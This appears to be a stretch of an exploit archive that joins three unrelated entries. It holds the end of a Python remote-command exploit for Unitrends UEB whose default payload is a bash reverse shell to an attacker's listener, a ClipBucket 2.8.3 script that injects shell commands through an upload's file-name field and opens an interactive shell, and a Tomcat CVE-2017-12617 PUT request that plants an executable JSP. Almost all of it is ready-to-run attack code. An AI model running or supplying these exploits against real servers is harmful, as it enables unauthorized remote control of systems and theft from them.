usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
      "       %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
          help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
          help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
          help="Run a custom command, no reverse shell for you.")
parser.add_option("-x", '--xinetd', dest='xinetd', action="store",
          type="int", default=1743,   
          help="port on which xinetd is running (default: 1743)")

(options, args) = parser.parse_args()

if options.cmd:
  if (options.lhost or options.lport):
    parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mutually exclusive.\n")

  elif not options.rhost:
    parser.error("[!] No remote host specified.\n")

elif options.rhost is None or options.lhost is None or options.lport is None:
  parser.print_help()
  sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
XINETDPORT = options.xinetd

if options.cmd:
  cmd = options.cmd
else:
  cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
        #if you got some data, then break after wait sec
        if total_data and time.time()-begin>timeout:
            break
        #if you got no data at all, wait a little longer
        elif time.time()-begin>timeout*2:
            break
        try:
            data=the_socket.recv(8192)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    return ''.join(total_data)

print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))

try:
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((RHOST,XINETDPORT))
except:
  print "[!] Failed to connect!"
  exit()

data = s1.recv(4096)
bpd_port = int(data[-8:-3])

print "[+] Connected! Cmd output will come back on {}:{}".format(RHOST, str(bpd_port))
print "[+] Connecting to bpdserverd on {}:{}".format(RHOST, str(bpd_port))

try:
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((RHOST, bpd_port))
except:
  print "[!] Failed to connect!"
  s1.close()
  exit()

print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)

if (len(cmd) > 240):
  print "[!] This command is long; this might not work."
  print "[!] Maybe try a shorter command..."

cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)

packet = '\xa5\x52\x00\x2d'
packet += '\x00' * 3
packet += packet_len
packet += '\x00' * 3
packet += '\x01'
packet += '\x00' * 3
packet += '\x4c'
packet += '\x00' * 3
packet += cmd_len
packet += cmd
packet += '\x00' * 3

s1.send(packet)

print "[+] cmd packet sent!"
print "[+] Waiting for response from {0}:{1}".format(RHOST,str(bpd_port))

data = recv_timeout(s2)

print "[+] Here's the output -> \n\n"

print data

print "[+] Closing ports, exiting...."

s1.close()
s2.close()

# 3. Solution:
# Update to Unitrends UEB 10

            
# Exploit Title: ClipBucket PHP Script Remote Code Execution (RCE) 
# Date: 2017-10-04
# Exploit Author: Esecurity.ir 
# Vendor Homepage: https://clipbucket.com/
# Version: 2.8.3
# Exploit Code By : Meisam Monsef - Email : meisamrce@gmail.com - TelgramID : @meisamrce
# Usage Exploit : exploit.py http://target.com/path/



import sys,os
try:
    import requests
except Exception as e:
    print 'please install module requests!'
    sys.exit()
img = 'temp.jpg'
uploadUrl = "api/file_uploader.php"
h = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36'}

def getShell(url):
    try:
        r = requests.get(url+'cache/1.log',headers=h)
        if r.status_code == 200:
            return r.content
        else:
            print 'Sorry site is not vulnerable '
            sys.exit()
    except Exception as e:
        print e
        sys.exit()

def exploit(url):
    while (1):
        cmd = raw_input('$')
        if cmd == '' or cmd == 'exit':
            break
        file_ = {'Filedata': (img, open(img, 'r'),'image/jpg')}
        data = {'file_name':'a.jpg;'+cmd+' > ../cache/1.log;a.jpg'}
        try:
            r = requests.post(url+uploadUrl, files=file_,data=data,headers=h)
            if r.status_code == 200:
                if '"success":"yes"' in r.content:
                    print getShell(url)
                else:
                    print 'Sorry site is not vulnerable '
                    break
            else:
                print 'Sorry site is not vulnerable '
                break
        except Exception as e:
            print e
            break
if not os.path.exists(img):
    print 'please create tiny image file name is ' + img
    sys.exit()

if len(sys.argv) == 2 :
    exploit(sys.argv[1])
else:
    print "Usage Exploit : exploit.py http://target.com/path/";
            
# E-DB Note: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. 
This JSP could then be requested and any code it contained would be executed by the server.

    The PoC is like this:
    
    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.3.103:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://192.168.3.103:8080/examples/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
    Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
    Connection: close
    Content-Length: 26
    
    <% out.println("hello");%>

It is the bypass for CVE-2017-12615